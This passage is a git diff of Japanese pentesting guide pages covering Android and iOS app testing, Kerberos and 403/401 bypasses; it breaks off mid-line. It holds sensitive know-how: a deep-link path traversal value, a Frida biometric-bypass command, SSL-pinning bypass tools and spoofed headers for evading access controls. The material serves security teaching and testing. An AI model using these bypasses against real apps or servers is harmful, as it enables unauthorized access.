コンテンツプロバイダーは基本的に**データを共有する**ために使用されます。アプリに利用可能なコンテンツプロバイダーがある場合、そこから**機密データを抽出**できるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性をテストすることも興味深いです。これらは脆弱である可能性があります。 [**Drozerを使用してコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/index.html#content-providers) ### **サービスの悪用** -[**サービスとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\ +[**サービスについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\ サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。 -サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\ +サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\ [**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services) ### **ブロードキャストレシーバーの悪用** -[**ブロードキャストレシーバーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\ +[**ブロードキャストレシーバーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\ ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。 ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱性が生じる可能性があります。\ @@ -356,7 +356,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### **スキーム/ディープリンクの悪用** -手動でディープリンクを探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\ +ディープリンクを手動で探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\ **adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] @@ -381,7 +381,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的 **パス内のパラメータ** **URLのパス内でパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\ -アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)、およびその他の脆弱性を引き起こす可能性があります。詳細な情報は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。 +アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)、およびその他の脆弱性を引き起こす可能性があります。詳細については[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。 **さらなる例** @@ -395,7 +395,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的 #### 証明書の検証 -**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順は、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)で包括的に説明されています。 +**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順については、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)が包括的なガイダンスを提供します。 #### SSLピンニング @@ -403,13 +403,13 @@ SSLピンニングは、アプリケーションがサーバーの証明書を #### トラフィックの検査 -HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**(例:Burp)。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。 +HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**(例:Burp)。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドについては、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。 -**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。 +**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示については、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。 #### SSLピンニングのバイパス -SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のために利用できるさまざまな方法があります: +SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります: - 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。 - **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) @@ -427,11 +427,11 @@ SSLピンニングが実装されている場合、HTTPSトラフィックを検 **実行中のアプリケーションにアクセスし、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます...**\ Androidアプリケーションをペンテストするには、Fridaの使い方を知っておく必要があります。 -- Fridaの使い方を学ぶ:[**Fridaチュートリアル**](frida-tutorial/) +- Fridaの使い方を学ぶ:[**Fridaチュートリアル**](frida-tutorial/index.html) - Fridaでのアクション用の「GUI」:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - OjectionはFridaの使用を自動化するのに最適です:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - ここで素晴らしいFridaスクリプトを見つけることができます:[**https://codeshare.frida.re/**](https://codeshare.frida.re) -- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスすることを試みてください(ツール[linjector](https://github.com/erfur/linjector-rs))。 +- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてください(ツール[linjector](https://github.com/erfur/linjector-rs))。 ### **メモリダンプ - Fridump** @@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore内の機密データ** -Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスへの物理的アクセスを持つ者がこのデータを盗むことができるかもしれません。 +Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスへの物理的アクセスを持つ誰かがこのデータを盗むことができるかもしれません。 アプリがKeystoreにデータを保存していても、データは暗号化されているべきです。 @@ -468,9 +468,9 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。 **Frida** -デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトも使用します。\ +デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\ MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。 -動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\ -MobSFは、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただ**選択**し、"**Load**"を押し、"**Start Instrumentation**"を押すと、そのスクリプトのログを"**Frida Live Logs**"内で見ることができます。 +動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログを見ることができ、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を見ることができます(これは"Start Instrumentation"を押した後に表示されます)。\ +MobSFは、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただし、**それらを選択し**、"**Load**"を押し、"**Start Instrumentation**"を押す必要があります(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。 ![](<../../images/image (419).png>) @@ -551,15 +551,15 @@ MobSFは、独自の**Fridaスクリプト**を読み込むこともできます - **読み込まれたクラスを列挙**:すべての読み込まれたクラスを印刷します - **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常に騒がしい) - **文字列比較をキャプチャ**:非常に便利です。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。 -- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが印刷されます。 +- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドを印刷します。 - **クラスパターンを検索**:パターンでクラスを検索 - **クラスメソッドをトレース**:**クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。 -使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。 +使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。 **Shell** -Mobsfは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル** **コマンド**を持つシェルも提供します。いくつかの興味深いコマンド: +Mobsfは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェルも提供します。いくつかの興味深いコマンド: ```bash help shell ls @@ -595,7 +595,7 @@ MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HT ### [Qark](https://github.com/linkedin/qark) -このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**および**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。 +このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。 ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA**は**モバイルアプリケーションの逆コンパイルと分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。 +**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPのモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。 以下のことが可能です: @@ -665,7 +665,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 - [smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)を使用してAPKを分析する - 正規表現を使用してAPKからプライベート情報を抽出する - マニフェストを分析する -- [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する +- [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、および[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する - [apk-deguard.com](http://www.apk-deguard.com)を介してAPKをデオブフスケートする ### Koodous @@ -688,10 +688,10 @@ APKをデオブフスケートするためのステップバイステップガ (そのガイドから)最後に確認したとき、Dexguardの動作モードは次のとおりでした: -- リソースをInputStreamとして読み込む; -- 結果をFilterInputStreamから継承したクラスに渡して復号化する; -- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う; -- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する; +- リソースをInputStreamとして読み込む; +- 結果をFilterInputStreamから継承したクラスに渡して復号化する; +- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う; +- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する; - 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。 ### [DeGuard](http://apk-deguard.com) @@ -720,7 +720,7 @@ APKiDは**APKがどのように作成されたか**に関する情報を提供 ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングとマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。 +AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングやマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。 ## 参考文献 diff --git a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md index 7ee3c862b..305aac31f 100644 --- a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -10,13 +10,13 @@ iOSデバイスを一意に識別するために、UDIDと呼ばれる40桁の Catalina以前のmacOSバージョンでは、iTunesがUDIDの発見を助けます。詳細な手順は[こちら](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)で確認できます。 -コマンドラインツールはUDIDを取得するための代替方法を提供します: +コマンドラインツールは、UDIDを取得するための代替手段を提供します: -- **I/Oレジストリエクスプローラーツール `ioreg`を使用:** +- **I/O Registry Explorerツール `ioreg`を使用:** ```bash $ ioreg -p IOUSB -l | grep "USB Serial" ``` -- **macOS(およびLinux)用の`ideviceinstaller`の使用:** +- **`ideviceinstaller`をmacOS(およびLinux)で使用する:** ```bash $ brew install ideviceinstaller $ idevice_id -l @@ -33,7 +33,7 @@ $ instruments -s devices **SSHアクセス**は、**OpenSSHパッケージ**を脱獄後にインストールすることで有効になり、`ssh root@`を介して接続できます。デバイスを保護するために、ユーザー`root`と`mobile`のデフォルトパスワード(`alpine`)を変更することが重要です。 -**USB経由のSSH**は、Wi-Fiがない場合に必要となり、`iproxy`を使用してデバイスポートをSSH接続用にマッピングします。この設定により、次のコマンドを実行することでUSB経由でSSHアクセスが可能になります: +**USB経由のSSH**はWi-Fiがない場合に必要となり、`iproxy`を使用してデバイスポートをSSH接続用にマッピングします。この設定により、次のコマンドを実行することでUSB経由でSSHアクセスが可能になります: ```bash $ iproxy 2222 22 $ ssh -p 2222 root@localhost @@ -42,13 +42,13 @@ $ ssh -p 2222 root@localhost ### **忘れたパスワードのリセット** -忘れたパスワードをデフォルトの (`alpine`) にリセットするには、`/private/etc/master.passwd` ファイルを編集する必要があります。これには、既存のハッシュを `root` と `mobile` ユーザーエントリの隣にある `alpine` のハッシュに置き換えることが含まれます。 +忘れたパスワードをデフォルト(`alpine`)にリセットするには、`/private/etc/master.passwd` ファイルを編集する必要があります。これには、既存のハッシュを `root` と `mobile` ユーザーエントリの隣にある `alpine` のハッシュに置き換えることが含まれます。 ## **データ転送技術** ### **アプリデータファイルの転送** -**SSHとSCPを介したアーカイブと取得:** `tar` を使用してアプリケーションのデータディレクトリをアーカイブし、その後 `scp` を使用して転送するのは簡単です。以下のコマンドは、データディレクトリを .tgz ファイルにアーカイブし、その後デバイスからプルします: +**SSHとSCPによるアーカイブと取得:** `tar` を使用してアプリケーションのデータディレクトリをアーカイブし、その後 `scp` を使用して転送するのは簡単です。以下のコマンドは、データディレクトリを .tgz ファイルにアーカイブし、その後デバイスからプルします: ```bash tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693 exit @@ -58,9 +58,9 @@ scp -P 2222 root@localhost:/tmp/data.tgz . **iFunboxとiExplorerの使用:** これらのGUIツールは、iOSデバイス上のファイルを管理するのに便利です。しかし、iOS 8.4以降、Appleはデバイスが脱獄されていない限り、これらのツールのアプリケーションサンドボックスへのアクセスを制限しました。 -### **ファイル管理のためのObjectionの使用** +### **Objectionを使用したファイル管理** -**Objectionによるインタラクティブシェル:** Objectionを起動すると、アプリのBundleディレクトリにアクセスできます。ここから、アプリのDocumentsディレクトリに移動し、ファイルを管理したり、iOSデバイスとの間でファイルをダウンロードおよびアップロードしたりできます。 +**Objectionによるインタラクティブシェル:** objectionを起動すると、アプリのBundleディレクトリにアクセスできます。ここから、アプリのDocumentsディレクトリに移動し、ファイルを管理したり、iOSデバイスへのダウンロードやアップロードを行ったりできます。 ```bash objection --gadget com.apple.mobilesafari explorer cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents @@ -70,7 +70,7 @@ file download ### **IPAファイルの取得** -**オーバー・ザ・エア (OTA) 配信リンク:** OTAを介してテスト用に配布されたアプリは、npmを介してインストールされるITMSサービスアセットダウンローダーツールを使用してダウンロードでき、IPAファイルをローカルに保存します。 +**オーバー・ザ・エア (OTA) 配信リンク:** テスト用にOTAで配信されたアプリは、npmを介してインストールされるITMSサービスアセットダウンローダーツールを使用してダウンロードでき、IPAファイルをローカルに保存します。 ```bash npm install -g itms-services itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa @@ -99,7 +99,7 @@ dump memory dump.bin 0x8000 0x10a4000 ``` **暗号化セクションの上書き:** -元のアプリバイナリの暗号化セクションを復号化されたダンプで置き換えます。 +元のアプリバイナリの暗号化されたセクションを復号化されたダンプで置き換えます。 ```bash dd bs=1 seek= conv=notrunc if=dump.bin of=Original_App ``` @@ -109,7 +109,7 @@ dd bs=1 seek= conv=notrunc if=dump.bin of=Original_App #### **frida-ios-dump** -[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump)ツールは、iOSデバイスから**自動的にアプリを復号および抽出する**ために使用されます。最初に、`dump.py`を設定してiOSデバイスに接続する必要があり、これは**iproxy**を介してローカルホストのポート2222を使用するか、デバイスのIPアドレスとポートを介して直接行うことができます。 +[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump)ツールは、iOSデバイスから**自動的にアプリを復号化して抽出する**ために使用されます。最初に、`dump.py`を設定してiOSデバイスに接続する必要があり、これは**iproxy**を介してローカルホストのポート2222を使用するか、デバイスのIPアドレスとポートを直接使用して行うことができます。 デバイスにインストールされているアプリケーションは、次のコマンドでリストできます: ```bash @@ -146,7 +146,7 @@ bagbak --raw Chrome #### **サイドロードツール** -- **Cydia Impactor**: iOSのIPAファイルやAndroidのAPKファイルを署名してインストールするためのツールです。ガイドやトラブルシューティングは[yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)で見つけることができます。 +- **Cydia Impactor**: iOS用のIPAファイルとAndroid用のAPKファイルを署名してインストールするためのツールです。ガイドとトラブルシューティングは[yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)で見つけることができます。 - **libimobiledevice**: iOSデバイスと通信するためのLinuxおよびmacOS用のライブラリです。USB経由でアプリをインストールするためのideviceinstallerのインストールコマンドと使用例が提供されています。 @@ -164,7 +164,7 @@ iPhoneやiPod touchデバイスにiPad専用アプリケーションをインス ## 参考文献 -- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/) +- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/) diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index cab2fc68d..ee7a34a39 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -4,18 +4,18 @@ ## 基本情報 -**Kerberos**は、ユーザーのリソースへのアクセスを直接管理することなく認証を行う原則に基づいています。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。 +**Kerberos** は、ユーザーのリソースへのアクセスを直接管理することなく認証する原則に基づいて動作します。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。 -**Active Directory**のような環境では、**Kerberos**はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos**は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。 +**Active Directory** のような環境では、**Kerberos** はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos** は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。 -**Kerberos**による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos**が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。 +**Kerberos** による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos** が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。 **デフォルトポート:** 88/tcp/udp ``` PORT STATE SERVICE 88/tcp open kerberos-sec ``` -### **Kerberosを悪用する方法を学ぶには、** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**に関する投稿を読むべきです。** +### **Kerberosを悪用する方法を学ぶには、** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**に関する投稿を読むべきです。** ## もっと diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 80fd93893..e72ff126d 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -4,17 +4,17 @@ ## HTTP 動詞/メソッドファジング -ファイルにアクセスするために **異なる動詞** を使用してみてください: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` +ファイルにアクセスするために**異なる動詞**を試してみてください: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -- レスポンスヘッダーを確認してください。情報が提供されるかもしれません。例えば、**HEAD** に対する **200 レスポンス** が `Content-Length: 55` の場合、**HEAD 動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。 -- `X-HTTP-Method-Override: PUT` のような HTTP ヘッダーを使用すると、使用される動詞を上書きできます。 -- **`TRACE`** 動詞を使用し、運が良ければレスポンスに **中間プロキシによって追加されたヘッダー** が表示されるかもしれません。 +- レスポンスヘッダーを確認してください。情報が得られるかもしれません。例えば、**HEAD**に対する**200レスポンス**が`Content-Length: 55`の場合、**HEAD動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。 +- `X-HTTP-Method-Override: PUT`のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。 +- **`TRACE`**動詞を使用し、運が良ければレスポンスに**中間プロキシによって追加されたヘッダー**が表示されるかもしれません。 -## HTTP ヘッダーファジング +## HTTP ヘッダー ファジング -- **Host ヘッダーを** 任意の値に変更します ([ここで動作した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) -- [**他のユーザーエージェントを使用して**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) リソースにアクセスしてみてください。 -- **HTTP ヘッダーをファジング**: HTTP プロキシ **ヘッダー**、HTTP 認証の基本と NTLM ブルートフォース(いくつかの組み合わせのみ)やその他の技術を試してみてください。これを行うために、私はツール [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) を作成しました。 +- **Hostヘッダーを**任意の値に変更します([ここで機能した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) +- [**他のユーザーエージェントを使用して**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)リソースにアクセスしてみてください。 +- **HTTPヘッダーをファジング**: HTTPプロキシ**ヘッダー**、HTTP認証ベーシックおよびNTLMブルートフォース(いくつかの組み合わせのみ)や他の技術を試してください。これを行うために、[**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)というツールを作成しました。 - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -30,23 +30,23 @@ - `X-ProxyUser-Ip: 127.0.0.1` - `Host: localhost` -もし **パスが保護されている** 場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください: +もし**パスが保護されている**場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -- ページが **プロキシの背後にある** 場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。[**HTTP リクエストスムージング**](../../pentesting-web/http-request-smuggling/) **または** [**hop-by-hop ヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用してみてください。** -- [**特別な HTTP 